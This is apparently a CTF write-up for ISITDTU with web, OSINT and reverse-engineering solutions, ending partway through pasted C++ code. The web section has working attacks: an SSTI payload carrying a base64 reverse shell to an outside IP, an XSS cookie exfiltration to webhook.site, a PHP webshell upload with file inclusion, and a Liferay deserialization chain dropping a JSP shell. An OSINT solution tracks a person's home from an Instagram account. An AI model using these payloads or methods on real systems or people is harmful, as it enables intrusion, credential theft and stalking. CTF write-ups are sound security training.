## Web ### Another one ujson deserialization bug ```python= >>> import ujson >>> json_data = '{"username": "test", "password": "test", "role": "\u0061\u0064\u006d\u0069\u006e"}' >>> data = ujson.loads(json_data) >>> data {'username': 'test', 'password': 'test', 'role': 'admin'} ``` SSTI for flag ``` POST /render HTTP/1.1 Host: 152.69.210.130:64436 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Cookie: jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFiYyIsInJvbGUiOiJhZG1pbiJ9.OQezB1cVGJPcI6MmZ6RtJZq2oOCz7a2ZH-hlnDSEsZ8 Connection: keep-alive Content-Type: application/json Content-Length: 180 { "template": "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAzLjE4NS40NC45My8zMzMzMyAwPiYx | base64 -d | bash').read() }}" } ``` ### X Éc Éc ``` <svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror='location=`https://webhook.site/0c0ea04a-bb87-4e83-ab0a-27f627b5a971?c=${document.cookie}`'"> ``` ### S1mple ```python= import httpx import asyncio URL = "http://35.240.202.218:8000/" # URL = "http://localhost:80/" class BaseAPI: def __init__(self, url=URL) -> None: self.c = httpx.AsyncClient(base_url=url) def upload(self, data): return self.c.post("/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&.doc", files={"image": data}, data={ "Submit": "1" }) def include(self, inc, cmd): return self.c.get(f"/admin.php%3fooo.php?pages={inc}&cmd={cmd}") class API(BaseAPI): ... async def main(): api = API() res = await api.upload(("shell.html", "<?=system($_GET['cmd']);?>")) print(res.text) res = await api.include("../../../../../../usr/share/vulnx/shell/uploads/shell", "cat /.ht*") print(res.text) if __name__ == "__main__": asyncio.run(main()) ``` ### hihi ```java= String payload = "${date.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami.exe\").getInputStream().readAllBytes()}"; ``` ### niceray CVE-2020-7961 but with different entrypoint and chain, due to outgoing traffic being blocked most gadget used in poc wont work ``` POST /api/jsonws/expandocolumn/update-column HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Length: 20972 Content-Type: application/x-www-form-urlencoded name=x&type=0&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:...;"}&columnId=1 ``` ```java= public static void main(String[] args) throws Exception { String jspSh = "PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPCUKLy8KLy8gSlNQX0tJVAovLwovLyBjbWQuanNwID0gQ29tbWFuZCBFeGVjdXRpb24gKHVuaXgpCi8vCi8vIGJ5OiBVbmtub3duCi8vIG1vZGlmaWVkOiAyNy8wNi8yMDAzCi8vCiU+CjxIVE1MPjxCT0RZPgo8Rk9STSBNRVRIT0Q9IkdFVCIgTkFNRT0ibXlmb3JtIiBBQ1RJT049IiI+CjxJTlBVVCBUWVBFPSJ0ZXh0IiBOQU1FPSJjbWQiPgo8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iU2VuZCI+CjwvRk9STT4KPHByZT4KPCUKaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSAhPSBudWxsKSB7CiAgICAgICAgb3V0LnByaW50bG4oIkNvbW1hbmQ6ICIgKyByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikgKyAiPEJSPiIpOwogICAgICAgIFByb2Nlc3MgcCA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKTsKICAgICAgICBPdXRwdXRTdHJlYW0gb3MgPSBwLmdldE91dHB1dFN0cmVhbSgpOwogICAgICAgIElucHV0U3RyZWFtIGluID0gcC5nZXRJbnB1dFN0cmVhbSgpOwogICAgICAgIERhdGFJbnB1dFN0cmVhbSBkaXMgPSBuZXcgRGF0YUlucHV0U3RyZWFtKGluKTsKICAgICAgICBTdHJpbmcgZGlzciA9IGRpcy5yZWFkTGluZSgpOwogICAgICAgIHdoaWxlICggZGlzciAhPSBudWxsICkgewogICAgICAgICAgICAgICAgb3V0LnByaW50bG4oZGlzcik7CiAgICAgICAgICAgICAgICBkaXNyID0gZGlzLnJlYWRMaW5lKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQolPgo8L3ByZT4KPC9CT0RZPjwvSFRNTD4K"; String bashCmd = Base64.getEncoder().encodeToString( ("echo " + jspSh + " | base64 -d > "+ "/opt/liferay-portal-6.2-ce-ga3/jboss-7.1.1/standalone/deployments/ROOT.war/hii.jsp").getBytes( StandardCharsets.UTF_8)); String cmd = "bash -c {echo,"+bashCmd+"}|{base64,-d}|{bash,-i}"; Object b = getBSHObject(cmd); String h = Ctf.enhex( Ctf.Ser.objectToBytes(b)); System.out.println(h.toLowerCase(Locale.ROOT)); } // ysoserial public static PriorityQueue getBSHObject(String command) throws Exception { String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + join( // does not support spaces in quotes Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; // Create Interpreter Interpreter i = new Interpreter(); // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Ctf.Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Ctf.Reflections.setFieldValue(priorityQueue, "queue", queue); Ctf.Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; } ``` ## OSINT ### Sparks https://www.reddit.com/r/cyberpunkgame/comments/1ase4ih/i_found_this_randomly_on_reels_and_it_reminded_me/ ### Home sweet home https://www.instagram.com/arlen.nnnnnnnn Place: https://www.gettyimages.com/detail/photo/centre-culturel-calixa-lavallée-in-montreals-parc-royalty-free-image/584483698?adppopup=true 20min bike + close to both school and pet store, use Turbo Overpass: ```js= [out:json][timeout:25]; // Define the area for Montreal area["name:en"="Montreal"][admin_level=8]->.montreal; // First find all pet stores ( nwr["shop"="pet"](area.montreal); nwr["shop"="animal"](area.montreal); nwr["pet"="shop"](area.montreal); nwr["shop"="pet_shop"](area.montreal); )->.pet_stores; // Then find schools that are within 100m of any pet store ( nwr["amenity"="school"](area.montreal)(around.pet_stores:100); nwr["building"="school"](area.montreal)(around.pet_stores:100); ); // Print results out body; >; out skel qt; // Also output the matching pet stores .pet_stores out body; >; out skel qt; ``` ![image](https://hackmd.io/_uploads/HyyiEnjx1l.png) ![image](https://hackmd.io/_uploads/rySTV2sgyx.png) ## Reverse Engineering ### animal Decompile to get logic: ```c *(_OWORD *)flag_input = 0LL; flag_len = 0LL; sso_len = 15LL; LOBYTE(flag_input[0]) = 0; sub_1400016B0(std::cout, "Enter the flag: ", envp); sub_140001890(std::cin, flag_input); if ( flag_len != 36 ) goto LABEL_20; flag_raw = (char *)flag_input; v3 = sso_len; if ( sso_len > 0xF ) flag_raw = (char *)flag_input[0]; flag_raw_1 = (char *)flag_input; if ( sso_len > 0xF ) flag_raw_1 = (char *)flag_input[0]; if ( flag_raw[33] != flag_raw_1[34] ) goto LABEL_20; flag_raw_2 = (char *)flag_input; if ( sso_len > 0xF ) flag_raw_2 = (char *)flag_input[0]; if ( 2 * flag_raw_2[8] != 194 ) goto LABEL_20; cmp_1 = 0LL; v18 = 15LL; flag_raw_3 = (char *)flag_input; if ( sso_len > 0xF ) flag_raw_3 = (char *)flag_input[0]; LOBYTE(cmp_1) = flag_raw_3[17]; flag_raw_4 = (char *)flag_input; if ( sso_len > 0xF ) flag_raw_4 = (char *)flag_input[0]; BYTE1(cmp_1) = flag_raw_4[18]; flag_raw_5 = (char *)flag_input; if ( sso_len > 0xF ) flag_raw_5 = (char *)flag_input[0]; v17 = 3LL; BYTE3(cmp_1) = 0; if ( (_WORD)cmp_1 == 24931 && flag_raw_5[19] == 116 && (unsigned __int8)sub_140001290(flag_input) ) v10 = "True!!"; else LABEL_20: v10 = "False!!"; sub_1400016B0(std::cout, v10, v3); _BOOL8 __fastcall sub_14000345F(char *flag) { int v2; // ebx int v3; // esi int v4; // r14d int v5; // ebp int v6; // r9d int v7; // edx int v8; // r12d int v9; // r15d int v10; // edi int v11; // r13d int v12; // r10d int v13; // edi int v14; // r11d int v15; // r9d int v16; // eax int v17; // r9d int v18; // eax int v19; // r13d int v20; // r11d int v21; // ebx int v22; // ecx int v23; // r11d int v24; // eax int v25; // edi int v26; // r9d int v28; // [rsp+38h] [rbp+8h] int v29; // [rsp+40h] [rbp+10h] v2 = flag[27]; v3 = flag[1]; v4 = flag[32]; v5 = flag[8]; v6 = flag[29]; if ( v5 * v3 + v4 * v2 * flag[25] - v6 != 538738 ) return 0LL; v7 = flag[4]; v8 = flag[10]; v9 = flag[20]; if ( flag[7] + v9 * v8 * v7 - flag[6] - flag[11] != 665370 ) return 0LL; v10 = flag[30]; if ( flag[14] + (flag[16] - 1) * flag[31] - v10 * flag[22] != -2945 ) return 0LL; v11 = flag[18]; v12 = flag[33]; if ( v12 + flag[3] - flag[9] - v11 - flag[11] - v7 != -191 ) return 0LL; if ( v3 + v10 + v11 + flag[25] * v6 - v5 != 4853 ) return 0LL; v13 = flag[7]; v14 = flag[13]; if ( v14 + flag[5] - v13 * flag[14] * flag[23] * flag[2] != -86153321 ) return 0LL; v15 = flag[9]; if ( v14 + v15 * flag[5] * flag[12] + v2 * v8 != 873682 ) return 0LL; v16 = v15 * flag[21]; v17 = flag[6]; v18 = v11 * v16; v19 = flag[22]; if ( v19 + flag[3] + v18 - v17 != 451644 ) return 0LL; v20 = flag[24]; if ( flag[21] + flag[34] + v20 + v4 * flag[23] - v7 != 9350 ) return 0LL; v21 = flag[17]; v22 = flag[19]; v29 = flag[35]; v28 = flag[26]; if ( v20 + v29 + flag[17] - v22 - v28 - v17 != 27 ) return 0LL; v23 = flag[15]; if ( flag[14] + flag[13] + v23 + flag[23] * v22 - flag[3] == 11247 && (v24 = v13 * flag[12], v25 = flag[2], v25 + v21 + v24 - v23 - flag[21] == 13297) && (v26 = *flag, v5 + v29 + v28 + flag[28] - v26 - v9 == 266) && v25 + v21 + v26 + flag[12] * flag[28] - v3 == 10422 && v19 + v23 + flag[5] * v22 - flag[34] - flag[11] == 9883 ) { return v8 * v12 + flag[16] * (1 - v9) - v26 == -5604; } else { return 0LL; } } ``` Then I just did it manually to extract flags, assuming flag format is `ISITDTU{}` and all characters are `a-zA-Z0-9_`. In the end last few characters are `!!` but that's fine. ### re02 ```python from z3 import * from pwn import * wanted = bytes.fromhex("4a443b43433f423d433f4a514a44") avail = b"tuanlinh" input = [BitVec(f"i_{i}", 8) for i in range(len(wanted)+2)] s = Solver() for i in range(len(wanted)): s.add(input[i] + input[i+1] + input[i+2] == wanted[i]) for c in input: s.add(Or(*[i == c for i in avail])) while s.check() == sat: solve = bytes([s.model()[i].as_long() for i in input]) a = open("./re02.nes", "rb").read() s.add(Or(*[a!=b for a, b in zip(solve, input)])) start = 0x13f7 flag = xor(a[start:start+0x2b], solve) print(f"ISITDTU{{{flag.decode()}}}") ``` `ISITDTU{Throw_back_the_nested_if_NES_have_funnnn_:)}` ### 2much ```py= from pwn import * from z3 import * def enc(chunk): assert len(chunk) == 0x30 print("Encrypting...") ints = [u32(chunk[i:i+4][::-1]) for i in range(0, 0x30, 4)] rks = [88, 56, 960, 208, 288, 20, 96, 44, 896, 240, 416, 18] a0, a1, a2, a3 = ints[0:4] b0, b1, b2, b3 = ints[4:8] c0, c1, c2, c3 = ints[8:12] not_mask = 0xffffffff for round_key in rks: print("IN:", [a0, a1, a2, a3, b0, b1, b2, b3, c0, c1, c2, c3]) X0 = rol(a0 ^ b0 ^ c0, 5, 32) ^ rol(a0 ^ b0 ^ c0, 14, 32) X1 = rol(a1 ^ b1 ^ c1, 5, 32) ^ rol(a1 ^ b1 ^ c1, 14, 32) X2 = rol(a2 ^ b2 ^ c2, 5, 32) ^ rol(a2 ^ b2 ^ c2, 14, 32) X3 = rol(a3 ^ b3 ^ c3, 5, 32) ^ rol(a3 ^ b3 ^ c3, 14, 32) r0 = X0 ^ a1 s0 = X0 ^ b1 r1 = X1 ^ a2 s1 = X1 ^ b2 r2 = X2 ^ a3 s2 = X2 ^ b3 r3 = X3 ^ a0 ^ round_key s3 = X3 ^ b0 v0 = rol(c0 ^ X3, 11, 32) v1 = rol(c1 ^ X0, 11, 32) v2 = rol(c2 ^ X1, 11, 32) v3 = rol(c3 ^ X2, 11, 32) print(" => r =", [r0, r1, r2, r3]) print(" => s =", [s0, s1, s2, s3]) print(" => v =", [v0, v1, v2, v3]) a0 = r3 ^ (v0 & (not_mask ^ s2)) a1 = r0 ^ (v1 & (not_mask ^ s3)) a2 = r1 ^ (v2 & (not_mask ^ s0)) a3 = r2 ^ (v3 & (not_mask ^ s1)) b0 = rol(s2 ^ (r3 & (not_mask ^ v0)), 1, 32) b1 = rol(s3 ^ (r0 & (not_mask ^ v1)), 1, 32) b2 = rol(s0 ^ (r1 & (not_mask ^ v2)), 1, 32) b3 = rol(s1 ^ (r2 & (not_mask ^ v3)), 1, 32) c0 = rol(v2 ^ (s0 & (not_mask ^ r1)), 8, 32) c1 = rol(v3 ^ (s1 & (not_mask ^ r2)), 8, 32) c2 = rol(v0 ^ (s2 & (not_mask ^ r3)), 8, 32) c3 = rol(v1 ^ (s3 & (not_mask ^ r0)), 8, 32) print("OUT:", [a0, a1, a2, a3, b0, b1, b2, b3, c0, c1, c2, c3]) return b"".join([p32(i)[::-1] for i in [a0, a1, a2, a3, b0, b1, b2, b3, c0, c1, c2, c3]]) def RotateLeft(a, b): return LShR(a, 32-b) | (a << b) def dec(chunk): assert len(chunk) == 0x30 print("Decrypting...") ints = [u32(chunk[i:i+4][::-1]) for i in range(0, 0x30, 4)] rks = [88, 56, 960, 208, 288, 20, 96, 44, 896, 240, 416, 18] a0, a1, a2, a3 = ints[0:4] b0, b1, b2, b3 = ints[4:8] c0, c1, c2, c3 = ints[8:12] not_mask = 0xffffffff for round_key in rks[::-1]: #print("IN:", [a0, a1, a2, a3, b0, b1, b2, b3, c0, c1, c2, c3]) x0 = ror(c0, 8, 32) # == v2 ^ (s0 & (not_mask ^ r1)) x1 = ror(c1, 8, 32) # == v3 ^ (s1 & (not_mask ^ r2)) x2 = ror(c2, 8, 32) # == v0 ^ (s2 & (not_mask ^ r3)) x3 = ror(c3, 8, 32) # == v1 ^ (s3 & (not_mask ^ r0)) y0 = ror(b0, 1, 32) # == s2 ^ (r3 & (not_mask ^ v0)) y1 = ror(b1, 1, 32) # == s3 ^ (r0 & (not_mask ^ v1)) y2 = ror(b2, 1, 32) # == s0 ^ (r1 & (not_mask ^ v2)) y3 = ror(b3, 1, 32) # == s1 ^ (r2 & (not_mask ^ v3)) # a0-a3 stay the same: # a0 = r3 ^ (v0 & (not_mask ^ s2)) # a1 = r0 ^ (v1 & (not_mask ^ s3)) # a2 = r1 ^ (v2 & (not_mask ^ s0)) # a3 = r2 ^ (v3 & (not_mask ^ s1)) r0 = BitVec("r0", 32) r1 = BitVec("r1", 32) r2 = BitVec("r2", 32) r3 = BitVec("r3", 32) s0 = BitVec("s0", 32) s1 = BitVec("s1", 32) s2 = BitVec("s2", 32) s3 = BitVec("s3", 32) v0 = BitVec("v0", 32) v1 = BitVec("v1", 32) v2 = BitVec("v2", 32) v3 = BitVec("v3", 32) s = Solver() s.add(x0 == v2 ^ (s0 & (not_mask ^ r1))) s.add(x1 == v3 ^ (s1 & (not_mask ^ r2))) s.add(x2 == v0 ^ (s2 & (not_mask ^ r3))) s.add(x3 == v1 ^ (s3 & (not_mask ^ r0))) s.add(y0 == s2 ^ (r3 & (not_mask ^ v0))) s.add(y1 == s3 ^ (r0 & (not_mask ^ v1))) s.add(y2 == s0 ^ (r1 & (not_mask ^ v2))) s.add(y3 == s1 ^ (r2 & (not_mask ^ v3))) s.add(a0 == r3 ^ (v0 & (not_mask ^ s2))) s.add(a1 == r0 ^ (v1 & (not_mask ^ s3))) s.add(a2 == r1 ^ (v2 & (not_mask ^ s0))) s.add(a3 == r2 ^ (v3 & (not_mask ^ s1))) assert s.check() == sat r0 = s.model()[r0].as_long() r1 = s.model()[r1].as_long() r2 = s.model()[r2].as_long() r3 = s.model()[r3].as_long() s0 = s.model()[s0].as_long() s1 = s.model()[s1].as_long() s2 = s.model()[s2].as_long() s3 = s.model()[s3].as_long() v0 = s.model()[v0].as_long() v1 = s.model()[v1].as_long() v2 = s.model()[v2].as_long() v3 = s.model()[v3].as_long() #print(" => r =", [r0, r1, r2, r3]) #print(" => s =", [s0, s1, s2, s3]) #print(" => v =", [v0, v1, v2, v3]) r3 ^= round_key v0 = ror(v0, 11, 32) v1 = ror(v1, 11, 32) v2 = ror(v2, 11, 32) v3 = ror(v3, 11, 32) a0 = BitVec("a0", 32) a1 = BitVec("a1", 32) a2 = BitVec("a2", 32) a3 = BitVec("a3", 32) b0 = BitVec("b0", 32) b1 = BitVec("b1", 32) b2 = BitVec("b2", 32) b3 = BitVec("b3", 32) c0 = BitVec("c0", 32) c1 = BitVec("c1", 32) c2 = BitVec("c2", 32) c3 = BitVec("c3", 32) s = Solver() x0 = RotateLeft(a0 ^ b0 ^ c0, 5) ^ RotateLeft(a0 ^ b0 ^ c0, 14) x1 = RotateLeft(a1 ^ b1 ^ c1, 5) ^ RotateLeft(a1 ^ b1 ^ c1, 14) x2 = RotateLeft(a2 ^ b2 ^ c2, 5) ^ RotateLeft(a2 ^ b2 ^ c2, 14) x3 = RotateLeft(a3 ^ b3 ^ c3, 5) ^ RotateLeft(a3 ^ b3 ^ c3, 14) s.add(r0 == a1 ^ x0) s.add(s0 == b1 ^ x0) s.add(v1 == c1 ^ x0) s.add(r1 == a2 ^ x1) s.add(s1 == b2 ^ x1) s.add(v2 == c2 ^ x1) s.add(r2 == a3 ^ x2) s.add(s2 == b3 ^ x2) s.add(v3 == c3 ^ x2) s.add(r3 == a0 ^ x3) s.add(s3 == b0 ^ x3) s.add(v0 == c0 ^ x3) assert s.check() == sat a0 = s.model()[a0].as_long() a1 = s.model()[a1].as_long() a2 = s.model()[a2].as_long() a3 = s.model()[a3].as_long() b0 = s.model()[b0].as_long() b1 = s.model()[b1].as_long() b2 = s.model()[b2].as_long() b3 = s.model()[b3].as_long() c0 = s.model()[c0].as_long() c1 = s.model()[c1].as_long() c2 = s.model()[c2].as_long() c3 = s.model()[c3].as_long() #print("OUT", [a0, a1, a2, a3, b0, b1, b2, b3, c0, c1, c2, c3]) return b"".join([p32(i)[::-1] for i in [a0, a1, a2, a3, b0, b1, b2, b3, c0, c1, c2, c3]]) a = enc(p64(0xd6a427dd5e68c000)+b"89:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^") print(dec(a)) # expected first two blocks: ef0d07c3 9a72ed20 print(dec(bytes.fromhex("CBED0E2209820422C1758233347240F0A9AE043D1EC203872F79D8670748F6A38B1DB88E87C910B0F6A12E64A315BD3F"))[8:]) ``` `ISITDTU{2s_with0ut_y0u's_l1ke_2m0nths_that2much}` ### FlagCpp ![image](https://hackmd.io/_uploads/SJV3rnix1g.png) Brute force ```cpp= #include <openssl/sha.h> #include <stdio.h> #include <string> class SHA384{ private: typedef unsigned long long uint64; const uint64 hPrime[8] = {0xcbbb9d5dc1059ed8ULL, 0x629a292a367cd507ULL, 0x9159015a3070dd17ULL, 0x152fecd8f70e5939ULL, 0x67332667ffc00b31ULL, 0x8eb44a8768581511ULL, 0xdb0c2e0d64f98fa7ULL, 0x47b5481dbefa4fa4ULL }; const uint64 k[80] = {0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL, 0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL, 0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL, 0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL, 0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL, 0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL, 0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL, 0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL, 0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL, 0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL, 0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL, 0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL, 0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL, 0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL, 0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL, 0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL, 0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL, 0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL, 0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL, 0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL}; uint64** preprocess(const unsigned char* input, size_t input_length, size_t& nBuffer); void appendLen(size_t l, uint64& lo, uint64& hi); void process(uint64** buffer, size_t nBuffer, uint64* h); std::string digest(uint64* h); void freeBuffer(uint64** buffer, size_t nBuffer); // Operations #define Ch(x,y,z) ((x&y)^(~x&z)) #define Maj(x,y,z) ((x&y)^(x&z)^(y&z)) #define RotR(x, n) ((x>>n)|(x<<((sizeof(x)<<3)-n))) #define Sig0(x) ((RotR(x, 28))^(RotR(x,34))^(RotR(x, 39))) #define Sig1(x) ((RotR(x, 14))^(RotR(x,18))^(RotR(x, 41))) #define sig0(x) (RotR(x, 1)^RotR(x,8)^(x>>7)) #define sig1(x) (RotR(x, 19)^RotR(x,61)^(x>>6)) // Constants unsigned int const SEQUENCE_LEN = (1024/64); size_t const HASH_LEN = 8; size_t const WORKING_VAR_LEN = 8; size_t const MESSAGE_SCHEDULE_LEN = 80; size_t const MESSAGE_BLOCK_SIZE = 1024; size_t const CHAR_LEN_BITS = 8; size_t const OUTPUT_LEN = 6; size_t const WORD_LEN = 8; public: std::string hash(const std::string input); SHA384(); ~SHA384(); }; #include <stdio.h> #include <string> #include <string.h> #include <iostream> #include <iomanip> #include <cstdint> #include <sstream> typedef unsigned long long uint64; /** * SHA384 class constructor */ SHA384::SHA384(){ } /** * SHA384 class destructor */ SHA384::~SHA384(){ } /** * Returns a message digest using the SHA384 algorithm * @param input message string used as an input to the SHA384 algorithm, must be < size_t bits */ std::string SHA384::hash(const std::string input){ size_t nBuffer; // amount of message blocks uint64** buffer; // message block buffers (each 1024-bit = 16 64-bit words) uint64* h = new uint64[HASH_LEN]; // buffer holding the message digest (512-bit = 8 64-bit words) buffer = preprocess((unsigned char*) input.c_str(), input.length(), nBuffer); process(buffer, nBuffer, h); freeBuffer(buffer, nBuffer); return digest(h); } /** * Preprocessing of the SHA384 algorithm * @param input message in byte representation * @param nBuffer amount of message blocks */ uint64** SHA384::preprocess(const unsigned char* input, size_t input_length, size_t &nBuffer){ // Padding: input || 1 || 0*k || l (in 128-bit representation) size_t mLen = input_length; // fuck you size_t l = mLen * CHAR_LEN_BITS; // length of input in bits size_t k = (896-1-l) % MESSAGE_BLOCK_SIZE; // length of zero bit padding (l + 1 + k = 896 mod 1024) nBuffer = (l+1+k+128) / MESSAGE_BLOCK_SIZE; uint64** buffer = new uint64*[nBuffer]; for(size_t i=0; i<nBuffer; i++){ buffer[i] = new uint64[SEQUENCE_LEN]; } uint64 in; size_t index; // Either copy existing message, add 1 bit or add 0 bit for(size_t i=0; i<nBuffer; i++){ for(size_t j=0; j<SEQUENCE_LEN; j++){ in = 0x0ULL; for(size_t k=0; k<WORD_LEN; k++){ index = i*128+j*8+k; if(index < mLen){ in = in<<8 | (uint64)input[index]; }else if(index == mLen){ in = in<<8 | 0x80ULL; }else{ in = in<<8 | 0x0ULL; } } buffer[i][j] = in; } } // Append the length to the last two 64-bit blocks appendLen(l, buffer[nBuffer-1][SEQUENCE_LEN-1], buffer[nBuffer-1][SEQUENCE_LEN-2]); return buffer; } /** * Processing of the SHA384 algorithm * @param buffer array holding the preprocessed * @param nBuffer amount of message blocks * @param h array of output message digest */ void SHA384::process(uint64** buffer, size_t nBuffer, uint64* h){ uint64 s[WORKING_VAR_LEN]; uint64 w[MESSAGE_SCHEDULE_LEN]; memcpy(h, hPrime, WORKING_VAR_LEN*sizeof(uint64)); for(size_t i=0; i<nBuffer; i++){ // copy over to message schedule memcpy(w, buffer[i], SEQUENCE_LEN*sizeof(uint64)); // Prepare the message schedule for(size_t j=16; j<MESSAGE_SCHEDULE_LEN; j++){ w[j] = w[j-16] + sig0(w[j-15]) + w[j-7] + sig1(w[j-2]); } // Initialize the working variables memcpy(s, h, WORKING_VAR_LEN*sizeof(uint64)); // Compression for(size_t j=0; j<MESSAGE_SCHEDULE_LEN; j++){ uint64 temp1 = s[7] + Sig1(s[4]) + Ch(s[4], s[5], s[6]) + k[j] + w[j]; uint64 temp2 = Sig0(s[0]) + Maj(s[0], s[1], s[2]); s[7] = s[6]; s[6] = s[5]; s[5] = s[4]; s[4] = s[3] + temp1; s[3] = s[2]; s[2] = s[1]; s[1] = s[0]; s[0] = temp1 + temp2; } // Compute the intermediate hash values for(size_t j=0; j<WORKING_VAR_LEN; j++){ h[j] += s[j]; } } } /** * Appends the length of the message in the last two message blocks * @param l message size in bits * @param lo pointer to second last message block * @param hi pointer to last message block */ void SHA384::appendLen(size_t l, uint64& lo, uint64& hi){ lo = l; hi = 0x00ULL; } /** * Outputs the final message digest in hex representation * @param h array of output message digest */ std::string SHA384::digest(uint64* h){ std::stringstream ss; for(size_t i=0; i<OUTPUT_LEN; i++){ for(int j = 0; j < 8; j++) { ss << (char) (h[i] >> (56 - 8 * j)); } } delete[] h; return ss.str(); } /** * Free the buffer correctly * @param buffer array holding the preprocessed * @param nBuffer amount of message blocks */ void SHA384::freeBuffer(uint64** buffer, size_t nBuffer){ for(size_t i=0; i<nBuffer; i++){ delete[] buffer[i]; } delete[] buffer; } #include <cstdio> #include <cstring> #include <iostream> #include <stdexcept> #include <string> #include <vector> enum class AESKeyLength { AES_128, AES_192, AES_256 }; class AES { private: static constexpr unsigned int Nb = 4; static constexpr unsigned int blockBytesLen = 4 * Nb * sizeof(unsigned char); unsigned int Nk; unsigned int Nr; void SubBytes(unsigned char state[4][Nb]); void ShiftRow(unsigned char state[4][Nb], unsigned int i, unsigned int n); // shift row i on n positions void ShiftRows(unsigned char state[4][Nb]); unsigned char xtime(unsigned char b); // multiply on x void MixColumns(unsigned char state[4][Nb]); void AddRoundKey(unsigned char state[4][Nb], unsigned char *key); void SubWord(unsigned char *a); void RotWord(unsigned char *a); void XorWords(unsigned char *a, unsigned char *b, unsigned char *c); void Rcon(unsigned char *a, unsigned int n); void InvSubBytes(unsigned char state[4][Nb]); void InvMixColumns(unsigned char state[4][Nb]); void InvShiftRows(unsigned char state[4][Nb]); void CheckLength(unsigned int len); void KeyExpansion(const unsigned char key[], unsigned char w[]); void EncryptBlock(const unsigned char in[], unsigned char out[], unsigned char *roundKeys); void DecryptBlock(const unsigned char in[], unsigned char out[], unsigned char *roundKeys); void XorBlocks(const unsigned char *a, const unsigned char *b, unsigned char *c, unsigned int len); std::vector<unsigned char> ArrayToVector(unsigned char *a, unsigned int len); unsigned char *VectorToArray(std::vector<unsigned char> &a); public: explicit AES(const AESKeyLength keyLength = AESKeyLength::AES_256); unsigned char *EncryptECB(const unsigned char in[], unsigned int inLen, const unsigned char key[]); unsigned char *DecryptECB(const unsigned char 